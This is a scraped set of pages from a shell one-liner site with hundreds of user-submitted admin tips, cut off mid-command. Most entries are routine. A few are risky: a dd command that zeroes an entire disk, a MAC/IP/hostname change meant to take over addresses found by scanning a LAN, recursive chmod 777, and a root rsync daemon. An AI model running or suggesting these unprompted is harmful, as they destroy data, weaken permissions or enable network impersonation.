314 315 316 > Last › mkntfs /dev/hda1 create an empty NTFS partition With this command you can create an empty NTFS partition. The command is useful if, for example, we want to format a previous installation of Windows and reinstall before you want to restore some files on the partition. ntfsfix /dev/hda1 forcing Windows to do the scandisk during boot This command marks it as "dirty" NTFS partition, forcing Windows to do the scandisk during boot. It is convenient if you work hard to NTFS partitions under Linux sudo mount -t vfat /dev/sdb1 /mnt/sdb1 Mount an external FAT32 USB HDD ls *[^p][^a][^t]* ; # or shopt -s extglob; ls !(*pattern*) no need to use grep. ifconfig | sed '/.*addr.*Bcast.*/ ! d'| sed 's/.*addr:\([0-9\.]*\).*/\1/' 77.98.155.94 This doesn't make any assumptions about your IP address and prints out one IP address per line if you have multiple network interfaces. for /F "DELIMS=""" %i in ('dsquery group -name SourceGroupName ^| dsget group -members') do dsquery group -name TargetGroupName | dsmod group -addmbr %i Get all members from one AD group and put them in another AD group Interacting with Active Directory to add users from one group to another group. This prevents from having to deal with long DNs and copying, pasting problems. It executes once per returned object. ifconfig | awk '/inet addr/ &&! /127.0.0.1/{ gsub(/addr:/,""); print $2 }' if [ $(synclient -l | grep TouchpadOff | awk '{print $3}') = "2" ]; then synclient TouchpadOff=1; elif [ $(synclient -l | grep TouchpadOff | awk '{print $3}') == "1" ]; then synclient TouchpadOff=2; else synclient TouchpadOff=2; fi This command toggles the touchpad on and off, when it's on, the right side scroll strip (annoying) and the tap-clicking are disabled, you can change this by changing occurances of 2 in the command to 0. this whole command can then be given a keyboard shortcut so that the touchpad is disableable without using a special fn key (which linux doesn't recognize on some computers) or a seperate button. PS1="$BLUE[$CYAN\u$BLUE@$CYAN\h$WHITE-bash \v:$GREEN\w$BLUE]$WHITE \$ " [p17@debian-bash 3.2:~] $ A bash prompt which shows the bash-version The colors are defined as variables. RED="\[\033[01;31m\]" BLUE="\[\033[01;34m\]" ifconfig eth0 down hw ether (newmacaddresshere) && ifconfig eth0 up && ifconfig eth0 (newipaddresshere) netmask 255.255.255.0 up && /bin/hostname (newhostnamehere) Mac, ip, and hostname change - sweet! The command above has been changed due to very good constructive criticism - thanks x 2! This command can be used after acquiring mac's, ip's and hostname's or any of the above from a freshly scanned LAN. User must be root, and remember to change your settings on your network managing software manually (Fedc10 NetworkManager Applet 0.7.1 is mine) instead of 'auto DHCP'. You can also substitute eth0 for wlan0 etc - be good and ENJOY! cat /usr/share/dict/words | grep -P ^[a-z].* | grep -v "'s$" | grep -Pv ^.\{1,15\}$ | shuf -n4 | tr '\n' ' ' | sed 's/$/\n/' counterproductive unreasonableness multimillionaires extemporaneously Functions: cat grep sed tr The first grep rejects capitalised words since the dict has proper nouns in it that you mightn't want to use. The second grep rejects words with ending in apostrophe s, and the third forces the words to be at least 15 characters long. cat aaaaaa 2>&- close stderr find . -name *.php | xargs grep -i -n 'TERM' Recursive file content search yes | tr 'y' 'n' Functions: tr yes find . -iname "*.jar" -exec cp '{}' /tmp/ \; Copy all JAR files to folder /tmp Useful for Maven multimodule projects, where you want to extract all packaged jar files. find . -type f -print0 | grep -vzZ '.svn' | xargs -0 grep --color -nEHi "SEARCHTERM" Variant of find grep that ignores files with .svn in the name. Useful for searching through a local repository of source code. Search through your command line history Once issuing the command, hit "esc" and then "k" (not together) to enter the search mode at the shell prompt (each time), and invoke the search with "/" as if you would in vi. Type a command and see the most recently used instance of that command. Use "n" and "N" to go forward and backwards through other instances of that command. [ $# == 0 ] && echo "Please supply arguments and re-run." && exit 1 Check for arguments and exit script if none In a script, exit with quoted error message and status 1 if no arguments were supplied. vboxmanage clonehd --format VMDK <source image|uuid> <destination image> Oracle VM VirtualBox Command Line Management Interface Version 3.2.8 0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100% Clone hard disk created in format 'VMDK'. UUID: c7858648-fd1c-4c5e-a2b9-a4fc5501820a convert vdi to vmdk (virtualbox v3.2 hard disk conversion to vmware hard disk format) This is based on the Windows Version of VirtualBox. From the /? ... VBoxManage clonehd | [--format VDI|VMDK|VHD|RAW|] [--variant Standard,Fixed,Split2G,Stream,ESX] [--type normal|writethrough|immutable|shareable] [--remember] [--existing] From the online help.. http://www.virtualbox.org/manual/ch08.html#id2676537 VBoxManage clonehd This command duplicates a registered virtual hard disk image to a new image file with a new unique identifier (UUID). The new image can be transferred to another host system or imported into VirtualBox again using the Virtual Media Manager; see the section called ?The Virtual Media Manager? and the section called ?Cloning disk images?. The syntax is as follows: [--type normal|writethrough|immutable] [--remember] where the parameters mean: format Allow to choose a file format for the output file different from the file format of the input file. variant Allow to choose a file format variant for the output file. It is a comma-separated list of variant flags. Not all combinations are supported, and specifying inconsistent flags will result in an error message. type Only honored if --remember is also specified. Defines what kind of hard disk type this image should be. remember Keep the destination image registered after it was successfully written. vi -R filename Edit a file using vi or vim in read-only mode The -R flag prevents you from making changes to a file, useful when you only want to view the file. This command is nicer than the 'more' or 'less' commands because for source codes, vi shows syntax highlight. for i in `find . | grep jar$`; do echo $i; jar tvf $i | grep 'search-string'; done; find a class or file within a number of jar files for file in `find *| sort -n | sed 's% %?%g'`; do echo "${file//?/ }"; cp --parents "${file//?/ }" /destinity_folder/ ;done Functions: cp echo file sed sort Recursive and alphabetical orderly cp a=`curl http://xkcd.com 2>/dev/null | grep -iE 'src=.*imgs.xkcd.com/comics/'`; b=`echo ${a#*src=\"}`; eog ${b%%\"*} get today's xkcd tokill=`ps -fea|grep process|awk '{ printf $2" "}'`; kill -9 $tokill; Functions: awk grep kill printf ‹ First < 313 314 315 316 317 > Last › wget -c -v -S -T 100 --tries=0 `curl -s http://ms1.espectador.com/ podcast/espectador/la_venganza_sera_terrible.xml | grep -v xml | grep link | sed 's/]*>//g'` Functions: grep link sed wget This download a complete audio podcast alias backup_dir='mkdir -p .backup && cp * .backup' Functions: alias cp Quickly backup your current directory Add this to .bashrc, then you can quickly create backups from files on current directory, but it only backups files on current directory. useful when changing config files, coding something or just trying something stupid. echo src::${PATH} | awk 'BEGIN{pwd=ENVIRON["PWD"];RS=":";FS="\n"}!$1{$1=pwd}$1!~/^\//{$1=pwd"/"$1}{print $1}' /tmp/src /usr/java/jdk1.6.0_11/bin /home/arcege/local/bin /home/arcege/bin /tmp/. /usr/java/apache-ant-1.7.0/bin Removes trailing newline; colon becomes record separator and newline becomes field separator, only the first field is ever printed. Replaces empty entries with $PWD. Also prepend relative directories (like ".") with the current directory ($PWD). Can change PWD with env(1) to get tricky in (non-Bourne) scripts. for file in $(find -type f -iname "*wav"); do mv $file "$file"_orig.WAV; mplayer -ao pcm "$file"_orig.WAV -ao pcm:file=$file; done Functions: file find mv convert all WAVs from any format (MS ADPCM) to PCM I needed this for wine. alias clear='( for ((i=1;i<$LINES;i++)) ; do echo "" ; done ) ; clear' [marcio@localhost ~]$ alias clear='( for ((i=1;i<$LINES;i++)) ; do echo "" ; done ) ; clear' [marcio@localhost ~]$ vi tmp.c [marcio@localhost ~]$ gcc tmp.c tmp.c:1: error: parse error before "is" shell returned 1 [marcio@localhost ~]$ clear Useful if you need to see compiler errors while edit a code If you receives a lot of compiling errors, type 'clear', then reedit your code and press "SHIFT+PGUP". du | sort -n | tail -11 | head Get top 10 largest directories under cwd The pipe to head removes the listing of . as the largest directory. for files in $(ls -A directory_name); do sed 's/search/replaced/g' $files > $files.new && mv $files.new $files; done; No standard output on screen... just hit and boom. So, by the rule of the thumb first create a backup and then execute or try to execute on some dummy files first. Search and replace in multiple files and save them with the same names - quickly and effectively! Yeah, there are many ways to do that. TIMEUNIT=$( cat a | grep -n "timescale" | awk -F ":" '{ print $1 } ' ) Get a text on a position on the file and store in a variable with a specific separator chown -R webuser:webgroup /var/www/vhosts/domain.com/httpdocs Set Permission to user and group Set Permission to user and group gconftool-2 --set /apps/metacity/global_keybindings/panel_main_menu --type string "Super_L" On Linux boxes, sets the Courtesy of LifeHacker.com (http://lifehacker.com/5625725/open-the-gnome-applications-menu-with-the-windows-key) grep 'HOME.*' data.txt | awk '{print $2}' | awk '{FS="/"}{print $NF}' OR USE ALTERNATE WAY awk '/HOME/ {print $2}' data.txt | awk -F'/' '{print $NF}' Read Nth column (e.g. 2nd column) of a row of data in a file that has a specific word (e.g. HOME) on that row and extract the last delimited value for the specified delimiter (e.g. /) grep 'HOME.*' data.txt | awk '{print $2}' | awk '{FS="/"}{print $NF}' OR awk '/HOME/ {print $2}' data.txt | awk -F'/' '{print $NF}' In this example, we are having a text file that is having several entries like: c1 c2 c3 c4 this is some data HOME /dir1/dir2/.../dirN/somefile1.xml HOME /dir1/dir2/somefile2.xml some more data for lines starting with HOME, we are extracting the second field that is a 'file path with file name', and from that we need to get the filename only and ignore the slash delimited path. The output would be: somefile1.xml somefile2.xml (In case you give a -ive - pls give the reasons as well and enlighten the souls :-) ) Go to the last directory invoked on command line # mv Joomla_1.5.10-Stable-Full_Package.zip /var/www/joomla/ I invoke /var/www/joomla/ as last command argument. To change in this directory I can use # cd !$ So I go to hob:/var/www/joomla# Should do exactly the same - compress every file in the current directory. You can even use it recursively: gzip -r . list the naming contexts of a directory server (no need to search in config files) ldapsearch -x -s base namingContexts -LLL pon dsl-provider Run ADSL connection grep -r "mystring" . |uniq | cut -d: -f1 | xargs sed -i "s/mystring//" Functions: cut grep sed uniq xargs remove exact phrase from multiple files Linux : these script enable you to edit multiple files and remove exact phrase from multiple files for ((i=0;i<5;i++)) ; do xpenguins & done for i in $(seq 5); do xpenguins & done for i in `ps -ef | grep tracker | awk '{print $8}' | cut -d'/' -f4 | grep -v grep`; do killall -9 $i; done NULL Functions: awk cut grep killall Locate a list of processes by process name that need to be killed * ps -ef # list running processes * grep string * pull the process names from 8th field * cut and delimiter '/' * print 4th field * get rid of trailing grep * for loop killall -9 $i which is the process name bvi [binary-file] Binary editor bvi is your vi for binary editing. If your system does not have it, you can get it from http://bvi.sourceforge.net/ xmlstarlet sel --net -t -o "Terrorist threat level: " -v //@CONDITION http://is.gd/wacQtQ Using XSLT. host <domain> <nameserver name> $ host google.com ns2.google.com Name: ns2.google.com Address: 216.239.34.10#53 google.com has address 74.125.127.100 google.com mail is handled by 10 google.com.s9b1.psmtp.com. google.com mail is handled by 100 smtp2.google.com. google.com mail is handled by 10 google.com.s9a1.psmtp.com. google.com mail is handled by 100 smtp1.google.com. google.com mail is handled by 10 google.com.s9b2.psmtp.com. google.com mail is handled by 10 google.com.s9a2.psmtp.com. Checking DNS zone on Name servers directly Its very useful when you do not have control over name servers and need to check DNS configuration directly, right after change. You will not need to wait for DNS propagation to verify if all records were configured properly by vendors of name servers. sudo /etc/acpi/sleep.sh sleep It suspends to RAM: you always need your batteries for the RAM but it saves time as there is no need to slowly archive everything on your hard disk. It works fine with me but if anyone has a nicer way, please contribute. gpg -ab file.txt create a detached signature for file.txt gpg -ser 'myfriend@gmail.com' file.txt encrypt file.txt using myfriend's pubkey && add your signature -s Make a signature. -e Encrypt data. -r Encrypt for user id name. ‹ First < 314 315 316 317 318 > Last › curl sputnick-area.net/ua curl/7.22.0 (x86_64-unknown-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.0e zlib/1.2.5 libssh2/1.3.0 Get the browser user-agent That's useful when you're doing some web scraping http://en.wikipedia.org/wiki/Web_scraping and you're trying to test your possibly fake user-agent. watch -n 1 'ps -aux | sort -nrk 4 | head' Functions: sort watch Monitoring which processes most use CPU ./encode.sh [ h264 | xvid | theora | mpeg4 ] http://xname.cc/text/video-streaming-on-wan.pdf (encode.sh) http://xname.cc/text/video-streaming-on-wan.pdf (encode.sh) read enterKey root@ubuserver:~# read enterKey how to finish command or script without any output wget http://checkip.dyndns.org/ -q -O - | grep -Eo '\<[[:digit:]]{1,3}(\.[[:digit:]]{1,3}){3}\>' [v3n0m@localhost]$ wget http://checkip.dyndns.org/ -q -O - | grep -Eo '\<[[:digit:]]{1,3}(\.[[:digit:]]{1,3}){3}\>' 80.254.66.131 [v3n0m@localhost]$ launchctl load /Library/LaunchDaemons/<plist config filename>.plist Launch a Daemon on OSX tiger to unload Daemon, use: launchctl unload /Library/LaunchDaemons/.plist (cd /source/dir ; tar cvf - .)|(cd /dest/dir ; tar xvpf -) openssl rand -base64 1000 | tr "[:upper:]" "[:lower:]" | tr -cd "[:alnum:]" | tr -d "lo" | cut -c 1-8 | pbcopy d6pd9625 Functions: cut tr eliminates "l" and "o" characters change length by changing 'x' here: cut -c 1-x cat file.txt | sendmail -F myname -f admin@mysite.com guest@guest.com Functions: cat sendmail sendmail via commandline cd <YOUR_DIRECTORY>; for i in `ls ./`; do tar czvf "$i".tar.gz "$i" ; done tar per directory Very simple and useful, you need to change the word "directory" for your directory tar -zcvpf backup_`date +"%Y%m%d_%H%M%S"`.tar.gz `find <target> -atime +5 -type f` 2> /dev/null | parallel -X rm -f This deals nicely with files having special characters in the file name (space ' or "). alias whatismyip="wget -q -O - http://whatismyip.com/automation/n09230945.asp" my.own.ip.address The preferred way for scripts (and easier to parse) MyVAR=84; awk '{ print "'"$MyVAR"'" }' tail /var/log/auth.log -n 100 View last 100 lines of your SSH log UNIQUE_BY_MAC=$(ifconfig |grep eth0|awk '{ print strtonum("0x"substr($6,16,2)) }') $ echo $UNIQUE_BY_MAC 213 Unique number by Mac Address gets the last number of the mac address to use it for other stuff kudzu -p Functions: kudzu List installed hardware Kudzu is available on CentOS, used for configuring and detecting new hardware device installed, is also usefull for device listing. psgrep() { if [ ! -z $1 ] ; then echo "Grepping for processes matching $1..." ps aux | grep -i $1 | grep -v grep else echo "!! Need name to grep for" fi } eva:~ even$ psgrep sky Grepping for processes matching sky... Functions: echo grep ps Grep for a named process. curl --basic --user username:password --data status="Twitter from commandline with curl" https://twitter.com/statuses/update.xml Twitter from commandline with curl --basic --user username:password This will authenticate your Twitter username and password --data status="" Send data to the API with POST HTTP form. lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u # lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u crond mpd nginx parcellite X Show the processes that use old libs and need a restart Useful after a complete system update (without a new kernel) when you want to know, which processes need to be restarted dd if=/dev/zero of=/fs/to/fill/dummy00 bs=8192 count=$(df --block-size=8192 / | awk 'NR!=1 {print $4-100}') Functions: awk dd df For disk space constraint testing. Leaves a little space available for creating temp files, etc. Easily free up the used disk space again by deleting the dummy00 file. Can tailor the testing by building smaller 'blocks' to suit the needs of the testing. WARNING: do not do this to the '/' (root) filesystem unless you know what you are doing... on some systems it could crash the OS. chmod -R u=rwX,go=rX . A few characters shorter that the other command !! Repeat last executed command I don't know why this ain't written as simply as it is. I always see it's just used as parameter, like: vi `!!` But i use it to repeat a command, as i always work on several shells and check the result of one shell on a second. alias agi="sudo apt-get install" #package_names #all apt-get aliases (add to .bashrc or type in cmdline): $ alias agi='sudo apt-get install' #packages $ alias agu='sudo apt-get update' $ alias ags='sudo apt-cache search' #string-in-package-name-or-descr $ alias agsh='sudo apt-cache show' #string $ alias agr='sudo apt-get remove' #packages $ alias agd='sudo apt-get dist-upgrade' $ alias agc='sudo apt-get clean' $ alias agac='sudo apt-get autoclean' aliases for apt-get these are some aliases you can use in bashrc to shorten the amount of typing needed to use apt-get, also can be used as reference if you can't remember alot of commands or command parameter variations,etc... Please comment with more apt-get aliases if I missed any, thx geoip() { lynx -dump "http://www.geoiptool.com/en/?IP=$1" | sed -n '/Host Name/,/Postal code/p' ; } user@foo $> geoip 208.67.222.222 Country code: US (USA) Postal code: 94105 Shows you the geolocation of an IP address. lynx -dump -nolist http://whatthecommit.com/|sed -n 2p ‹ First < 315 316 317 318 319 > Last › response.headers['Cache-Control'] = 'public, max-age=60'; HTTP Caching (gateway/reverse proxy cache for webapps) possible options: * Varnish * Squid in reverse proxy mode * Django's cache framework * rack-cache * or CDN, like Akamai (Command too long..See sample Output..) $ sed -e's/./&\n/g' -e's/ /%20/g' | grep -v '^$' | while read CHAR; do test "${CHAR}" = "%20" && echo "${CHAR}" || echo "${CHAR}" | grep -E '[-[:alnum:]!*.'"'"'()]|\[|\]' || echo -n "${CHAR}" | od -t x1 | tr ' ' '\n' | grep '^[[:alnum:]]\{2\}$' | tr '[a-z]' '[A-Z]' | sed -e's/^/%/g'; done | sed -e's/%20/+/g' | tr -d '\n'; echo http%3A%2F%2Fwww.google.com urlencode curl doesn't provide url-encoding for 'GET' data, it have an option '--data-urlencode', but its only for 'POST' data. Thats why I need to write down this commandline. With 'perl', 'php' and 'python', this is one liner, but just I wrote it for fun. Works in Ubuntu, will work in all linux varients(I hope it will work in unix varients also). tail -f /var/log/messages View new log messages in real time Use this command to see logs update in real time function encode4phone() { ffmpeg -acodec libamr_nb -vcodec h263 -i "$1" -s qcif -b 200k -ac 1 -ab 7.4k -ar 8000 "$1.3gp" } watch porn on older mobile phones works like a charm for the K610i tar cvf - /src | ( cd /dest ; tar xvf - ) This is how I've done it in the past echo -e "aa\nbb\ncc\ndd\n123" | sed -e :a -e "/$/N; s/\n/;/; ta" ps ho command $$ tar -zcps <dir> -X <(find <dir> -type f -mtime -<days>) |ssh user@backuphost tar -xzpsC /data/bkup backup the old files due to bug can not comment opendiff <file1> <file2> Use FileMerge to compare two files This command will open up the two files in FileMerge on OS X. You can also compare two directories. opendiff directory1 directory2 NOTE: FileMerge is a part of the OS X Developer Tools, available on the install disc. rsync --daemon --port 9999 --no-detach -v --config .rsyncd.conf # contents of .rsyncd.conf uid = root gid = root use chroot = no [somefile] # command to connect to this daemon on port 9999 # rsync --progress -rv somefile/ rsync://yd3:9999/somefile/ Start a quick rsync daemon for fast copying on internal secure network An example config file is placed in the sample output along with the command line call to use it. The rsync daemon here is setup on the destination, thus requiring the read only = false flag. Also it uses uid and gid of root, change as required. awk 'BEGIN { srand(); print rand() }' 0.902879 Random Decimal in the interval 0 ≤ n < 1 and 2d6 dice roll 2d6 dice: awk 'BEGIN { srand(); a=int(rand()*6)+1; b=int(rand()*6)+1; print a " + " b " = " a+b }' 3 + 6 = 9 ifconfig -a|grep Bcast:|cut -d\: -f2|awk '{print $1}' grabs your local IP Address. Functions: cut ps sort locate searchstring | xargs grep foo Functions: grep locate xargs Find 'foo' in located files Greps located files for an expression. Example greps all LaTeX files for 'foo': locate *.tex | xargs grep foo To avoid searching thousands of files with grep it could be usefull to test first how much files are returned by locate: locate -c *.tex wget -O gsplitter.crx "https://clients2.google.com/service/update2/crx?response=redirect&x=id%3Dlnlfpoefmdfplomdfppalohfbmlapjjo%26uc%26lang%3Den-US&prod=chrome&prodversion=8.0.552.224" ; google-chrome --load-extension gspliter.crx Execute extension with chrome Or download it here : https://chrome.google.com/extensions/detail/lnlfpoefmdfplomdfppalohfbmlapjjo buf () {oldname=$1; if [ "$oldname" != "" ]; then datepart=$(date +%Y-%m-%d); firstpart=`echo $oldname | cut -d "." -f 1`; newname=`echo $oldname | sed s/$firstpart/$firstpart.$datepart/`; cp -i ${oldname} ${newname}; fi } > ls image.jpg > buf image.jpg; ls image.2010-12-14.jpg Functions: cp cut date sed This backup function preserve the file suffix allowing zsh suffix aliases and desktop default actions to work with the backup file too. egrep '(expr1|expr2)' file to find occurances of expr1 OR expr2 accurev stat -M -fl | awk '{print "\"" $0 "\""}' | xargs accurev pop Functions: awk stat xargs Execute AccuRev pop command to retrieve missing files from a workspace. ifconfig eth0 | grep "inet:" | cut -d ":" -f2 | cut -d " " -f1 Show local IP apt-get remove `deborphan` Remove unused libs/packages in debian-based distros mv file_name.extension .. Move a file up a directory. cd into the directory that contains the file. this is just the usual move command but shortcut'd. say you wanted to move a photo img1.png from ~/photos/holidayphotos into the parent directory which is ~/photos command would be: ~/photos/holidayphotos$ mv img1.png .. I use Ubuntu so this'll work in debian but not sure what else. check(){ power=$(acpi -a) ; if [[ $power == *on-line* ]] ; then echo "supply is on"; else echo "somebody is steeling your laptop"; amixer -c0 set Master 100+ unmute ; mpg123 nuclear-alarm.mp3 ; fi } ;while true; do check ; sleep 2 ; done run this in a screen and unplug your headphones. Functions: acpi amixer echo mpg123 set sleep Power Supply Triggered Alert Checks whether your power supply is still plugged in. If not it will trigger an alarm at maximum volume. #Client# cat "The Meters - People Say.mp3" | nc -vv 192.168.1.100 8080; #Server# nc -vv -l -s 192.168.1.100 -p 8080 | mpg123 -v - Functions: cat mpg123 Pipe music over netcat with mpg123 I think I picked this one up from Hak5 (yeah I know.. kinda lame) <TBD> Is there a way to print the line BASH is executing without copy+paste the line inside an 'echo' command? apache2ctl -V | grep SERVER_CONFIG_FILE Apache server config file ‹ First < 316 317 318 319 320 > Last › awk '/inet end/ {print $3}' <(ifconfig eth0) find . -exec chmod 777 {} \; Recursive chmod all files and directories within the current directory Corrected. nc <ip> <port> -v curl whatismyip.org txt="";for i in {1..20};do txt=$txt"$i. ";done;say $txt" Ready or not, here I come" OSX: Use Say Command to Help You Play Hide-and-Seek grep -lir "text to find" * Find files containing "text" * = where find . | grep deleteme | while read line; do rm $line; done Functions: find grep read rm rm all files you grep This command deletes all files in all subfolders if their name or path contains "deleteme". To dry-run the command without actually deleting files run: find . | grep deleteme | while read line; do echo rm $line; done fuser -n tcp -s <port> && echo "+open" Functions: echo fuser aticonfig --pplib-cmd "set fanspeed 0 <number>" set fan speed (ATI cards) see aticonfig --help cat [ENTER]^V^O[ENTER]^D Reset scrambled screen ^V means CTRL-V [ENTER] means ENTER key ls -R | grep : | sed -e '\''s/:$//'\'' -e '\''s/[^-][^\/]*\//--/g'\'' -e '\''s/^/ /'\'' -e '\''s/-/|/'\'' Shows the current directory and those below it in a simple tree structure. Recommended use: alias lt='$command_above' find ~/Music/iTunes/ -name *.mp3 -exec cp {} ~/Desktop/Music/ \; Copy All mp3 files in iTunes into one folder (Example: Music on Desktop) (Os X) recursively delete .svn folders from a directory hex() { echo $1 16op | dc; } Stage added, updated, and DELETED files for commit echo "<?php phpinfo(); ?>" >> /srv/www/htdocs/test.php http://localhost/test.php xcopy /e/h/y /z/i /k /f src dest $ cpav.cmd zsh zsh2 Z:\piyo\AppPrefs\zsh\.zlogin -> Z:\piyo\AppPrefs\zsh2\.zlogin Z:\piyo\AppPrefs\zsh\.zprofile -> Z:\piyo\AppPrefs\zsh2\.zprofile Z:\piyo\AppPrefs\zsh\.zshenv -> Z:\piyo\AppPrefs\zsh2\.zshenv Z:\piyo\AppPrefs\zsh\.zshrc -> Z:\piyo\AppPrefs\zsh2\.zshrc Z:\piyo\AppPrefs\zsh\dot-zsh-check.sh -> Z:\piyo\AppPrefs\zsh2\dot-zsh-check.sh Z:\piyo\AppPrefs\zsh\notes.txt -> Z:\piyo\AppPrefs\zsh2\notes.txt 6 File(s) copied Copy directories and files just like I can remember "cp -av" on Unix like systems to copy files and directories. The same can be done on Windows without extra software, somewhat. The switches mean: /E Copies directories and subdirectories, including empty ones. Same as /S /E. May be used to modify /T. /H Copies hidden and system files also. /Y Suppresses prompting to confirm you want to overwrite an existing destination file. /Z Copies networked files in restartable mode. /I If destination does not exist and copying more than one file, assumes that destination must be a directory. /K Copies attributes. Normal Xcopy will reset read-only attributes. /F Displays full source and destination file names while copying. I don't type that all the time, I stick it into a file called "cpav.cmd" and run that. echo xcopy /e/h/y /z/i /k /f %1 %2 > cpav.cmd cpav zsh zsh2 http://support.microsoft.com/kb/323007 ls -1 | awk 'BEGIN{srand()} {x[NR] = $0} END{print "Selected", x[1 + int(rand() * NR)]}' Selected srandom.awk I use this command to select a random movie from my movie collection.. while true ; do sleep 1 ; clear ; (netstat -tn | grep -P ':36089\s+\d') ; done Functions: clear grep netstat sleep true shell loop to scan netstat output avoiding loolback aliases (local/remote swap for local connections) yes '' | head -n100 Functions: head yes FOR /F "tokens=3* delims=[]=" %A IN ('SET ARRAY[') DO ( echo %A ) MS-DOS only: Loop over array of system variable This command loops over all indexes of the system variable array ARRAY[] and puts its content into %A. Create this array before, e.g. by set ARRAY[0]=test1 set ARRAY[1]=test2 For using inside of a batch file, write %%A instead of %A. IFS=$'\n'; LIST=`ls -1`; let TOT=`echo $LIST | wc -w`-1 ; array=($LIST); echo "Selected ${array[ ($RANDOM % $TOT) ]}" The same thing using only Bash built-in's. For readability I've kept the variables out, but it could me made extremely more compact (and totally unreadable!) by stuffing everything inside the single echo command. alias grip="grep -i" Quick alias for case-insensitive grep This is *NOT* about the -i option in grep. I guess everybody already knows that option. This is about the basic rule of life that the simplest things are sometimes the best. ;-) One day when I used "grep -i" for the umpteenth time, I decided to make this alias, and I've used it ever since, probably more often than plain grep. (In fact I also have aliases egrip and fgrip defined accordingly. I also have wrip="grep -wi" but I don't use this one that often.) If you vote this down because it's too trivial and simplistic, that's no problem. I understand that. But still this is really one of my most favourite aliases. echo "$(od -An -N4 -tu4 /dev/urandom) % 5 + 1" | bc This is /bin/sh compatible. echo Selected $(ls -1 | sort -R | head -n 1) Functions: echo head ls sort ‹ First < 317 318 319 320 321 > Last › FOR /F "tokens=3* delims=[]=," %A IN ('SET ARRAY[') DO ( echo %A -- %B ) test1 -- 100 test2 -- 200 MS-DOS only: Loop over array of system variable with each var containing multiple values Loops over array of a system var, splits its values and puts the values into %A, %B, %C, %D, and so on. Create array before, like set ARRAY[0]=test1,100 set ARRAY[1]=test2,200 Be sure to replace %A, %B, etc. with %%A, %%B, etc. when using this from inside of batch files. ls -l !* | /usr/bin/grep '^d' LSD: List directory files in current directory for USER in `ls /var/spool/cron`; do echo "=== crontab for $USER ==="; echo $USER; done === crontab for username === MAILTO="server@servername.com" === crontab for username2 === 15 0 0 0 0 /some/command/to/run Lists crontab for all users on system that have crontabs. echo -n "Press any key to continue..." && read This works on some other version of read. ls \\someserver\c$\inetpub\wwwroot -r -i web.config | Select-String "SomeMachineName" (80) C:\P\OS.svn -? ls \\webserver\c\inetpub\wwwroot -i web.config -r | Select-String "db-server" \\webserver\c\inetpub\wwwroot\SomeApp\Web.config:72: <add nam e="foo" connectionString="Server=db-server;Database=foo;Integrated Security=true"/> \\webserver\c\inetpub\wwwroot\SomeApp\Web.config:74: <add nam e="bar" connectionString="Server=db-server;Database=bar;Integrated Security=true"/> find all references to a server in web.config files with powershell Finds all files of a certain name and reports all line with the string. Very simple. cat file_with_tabs.txt | perl -pe 's/\t/ /g' Replace tabs with spaces in file Replaces tabs in output with spaces. Uses perl since sed seems to work differently across platforms. awk 'BEGIN {srand()} {print int(rand()*1000000) "\t" $0}' FILE | sort -n | cut -f 2- Randomize the order of lines in a text file. Replace FILE with a filename (or - for stdin). ip addr|grep "inet " inet 192.168.0.1/24 brd 192.168.0.255 scope global eth0 inet 192.168.200.1/24 brd 192.168.0.255 scope global eth1 Shows a single line per interface (device), with its IPv4 settings. Shorter command, better readability in output. slocate filename/dirname slocate httpd slocate: warning: database /var/lib/slocate/slocate.db' is more than 8 days old /usr/bin/vnc_inetd_httpd /usr/sbin/httpd2 /usr/sbin/httpd2-prefork /usr/sbin/httpd2-worker /usr/include/apache2/httpd.h /usr/include/apache2-worker/httpd.h /usr/include/apache2-prefork/httpd.h /usr/include/apache2-event/httpd.h /usr/lib/ruby/gems/1.8/gems/rails-1.2.3/configs/lighttpd.conf output truncated for better viewing. Functions: slocate securely locate file and dir After you install slocate ,the first thing you have to do with it to initialise the database by issuing a command " slocate -u" . And then onwards just give the filename or dirname as a argument to the slocate command will reveal the files/dirs location in the system along with path.Moreover over it's an securely way of looking into the file system. file -L <library> | grep -q '64-bit' && echo 'library is 64 bit' || echo 'library is 32 bit' Functions: echo file grep file displays a files type the -L flag means follow sym-links (as libraries are often sym-linked to another this behavior is likely preferred) more complex behavior (*two* grep commands!) could be used to determine if the file is or is not a shared library. ci -l /etc/rc.conf rcs - local backup of any text configuration file before dangerous experiment with version control and comments <alt+50>- $ -------------------------------------------------- In bash, by pressing ALT+n and then a character x, x will be printed n times I know is not the same as the original command, but is correlated. function ends_in_y() { if [ `date +%A | sed -e 's/\(^.*\)\(.$\)/\2/'` == "y" ]; then echo 1; else echo 0; fi } $ ends_in_y Bash function to see if the day ends in "y" For those days when you need to know if something is happening because the day ends in "y". mplayer "$(find . -maxdepth 2 -mindepth 2 -type d | grep -v '^.$' | sort -R | head -n1)"/* Play a random [album/movie] two rows down Good if you have your music like Artist/(Year) Album/Song find . -name *DS_Store -exec echo rm {} \; Functions: echo find rm Removes Apple "garbage" This is quite usefull in Unix system share via NFS or AppleTalk with OSX clients that like to populate your filesystem with these pesky files ssh user@remotehost [anycommand](i.e uptime,w) How to run a specific command in remote server by ssh Once it is connected to the remote server by that ssh protocol,the mentioned command will start working on that server. dd if=/dev/zero of=/dev/hda bs=16M If you leave out the block size it defaults to 512 bytes. I set it to 16 Megabytes and it was much faster... bind a web server in $PWD mount |tail -1 | less -p "/dev/[^ ]*" Functions: less mount tail last mounted device ln -s /destinationTarget /sourceTarget/newFolder Create a newFolder that is a symbolic link to another folder if you wanted to create a new folder called "red" that was a symbolic link from /home/music/ to /home/hobbies/art then you would type: ln -s /home/hobbies/art /home/music/red gpg --refresh-keys for i in $(ls) ; do builtin echo "${PWD}"\/"${i}" ; done A fairly low-cost method to list with full paths. mate - `find . -name 'filename'` Open files of the same name in TextMate vrms Non-free packages installed on robby cmap-adobe-cns1 CMaps for Adobe-CNS1 cmap-adobe-gb1 CMaps for Adobe-GB1 Reason: Modifications problematic uqm-content The Ur-Quan Masters - Game data files w32codecs Win32 codec binaries warsow-data Game data for the ego-shooter Warsow Non-free packages with status other than installed on robby gnome-inform7 ( dei) IDE for the Inform7 interactive fiction progra or if your machine is 100 % free software : No non-free or contrib packages installed on robby! rms would be proud. How many Non-free software is on your machine ? tell you how many Non free software is on your machine, which package it is and which restriction on freedom it has . require vrms package , vrms mean virtual Richard M. Stallman :) ls | perl -lne '++$x{lc $1} if /[.](.+)$/ }{ print for keys %x' $ ls | perl -lne '++$x{lc $1} if /[.](.+)$/ }{ print for keys %x' bash py txt tar.gz $ find . -maxdepth 